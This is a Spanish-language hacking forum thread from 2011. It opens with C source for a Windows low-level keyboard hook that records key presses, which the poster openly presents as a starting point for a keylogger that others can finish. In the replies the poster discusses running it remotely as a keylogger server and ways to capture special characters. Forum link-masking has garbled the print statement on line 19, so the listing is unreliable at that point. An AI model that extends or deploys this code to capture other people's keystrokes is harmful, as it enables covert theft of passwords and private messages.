comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Detectar teclas presionadas por HOOKS (Keylogger base)

  • 2 Respuestas
  • 3061 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado linkgl

  • *
  • Underc0der
  • Mensajes: 45
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« en: Agosto 19, 2011, 12:24:12 pm »
Que tal, bueno para practicar hace un rato había hecho este ejemplo de cómo podría detectar teclas presionadas desde el teclado mediante el uso de hooks :P el resultado fué este:
(pequeña base para un keylogger, para quien lo quiera continuar)
Código: C
  1. /***********************************
  2. * Coder: Linkgl                    *
  3. * Thanks: The swash                *
  4. * Exaple for hooks WH_KEYBOARD_LL  *
  5. ***********************************/
  6. #include <windows.h>
  7. #include <stdio.h>
  8. //declaramos el hook publico
  9. HHOOK hHook;
  10.  
  11. LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
  12. {
  13.    //llamamos a la estructura y la hacemos puntero para lParam
  14.    KBDLLHOOKSTRUCT kbHookStruct = *(KBDLLHOOKSTRUCT*)lParam;
  15.    //PKDLLHOOKSTRUCT *kbHookStruct = (PKBDLLHOOKSTRUCT *)lParam;
  16.    if(nCode < 0) //si es menor a 0 pasamos al siguiente hook
  17.      return CallNextHookEx(0, nCode, wParam, lParam);
  18.    if(wParam == WM_KEYDOWN) //Si se detecto pulsacion de tecla
  19.        You are not allowed to view links. Register or Login("%s", (char *)&kbHookStruct.vkCode); //imprimimos convirtiendo a char *
  20.  
  21.    return CallNextHookEx(0, nCode, wParam, lParam);
  22. }
  23.  
  24. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  25. {
  26.    MSG msg;
  27.    //definimos/activamos el hook
  28.    hHook=SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)LowLevelKeyboardProc,GetModuleHandle(NULL),0);
  29.    //Bucle de mensajes
  30.    while(TRUE==GetMessage(&msg, NULL, 0, 0))
  31.    {
  32.      TranslateMessage(&msg);
  33.      DispatchMessage(&msg);
  34.    }
  35.    //eliminamos el hook
  36.    UnhookWindowsHookEx(hHook);
  37. }
  38.  

Desconectado Sensei

  • *
  • Underc0der
  • Mensajes: 52
  • Actividad:
    0%
  • Reputación 0
  • Mess with the best, die like the rest.
    • Ver Perfil
    • Email
« Respuesta #1 en: Agosto 19, 2011, 06:26:27 pm »
Hace un tiempo vi un keylogger en python usando pyhook, está bastante bien usar hooks para un keylogger, la verdad, pero en C se complica el code xD.

Desconectado linkgl

  • *
  • Underc0der
  • Mensajes: 45
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Agosto 20, 2011, 12:28:05 pm »
No conocía pyhook :O, pero bueno un keylogger en python no creo que sea tan buena idea jaja porque si va a ser remoto y no tienes el intérprete pues vamos no va a servir a menos que le pases el pytoexe adjuntandole todas las librerías al mismo ejecutable que quedaría pesadisimo para ser un server de un keylogger, jaja en cambio en C acá ya tienes la base nomás falta usar GetAsyncKeyState o alguna función similar para detectar símbolos/caracteres raros no es difícil en realidad solo tienes que saber manejar la API de windows :P.

Gracias por el comentario  ;)

 

¿Te gustó el post? COMPARTILO!



Keylogger basico

Iniciado por @ed33x

Respuestas: 4
Vistas: 3454
Último mensaje Mayo 18, 2011, 02:39:02 pm
por Snifer
Keylogger en C++

Iniciado por Jhonjhon_123

Respuestas: 1
Vistas: 4960
Último mensaje Mayo 26, 2011, 06:11:16 pm
por maximus
Keylogger C

Iniciado por mrobles

Respuestas: 4
Vistas: 2690
Último mensaje Junio 04, 2011, 05:22:04 am
por mrobles
Detectar EOF usando el PE

Iniciado por linkgl

Respuestas: 0
Vistas: 1372
Último mensaje Agosto 14, 2011, 12:13:14 pm
por linkgl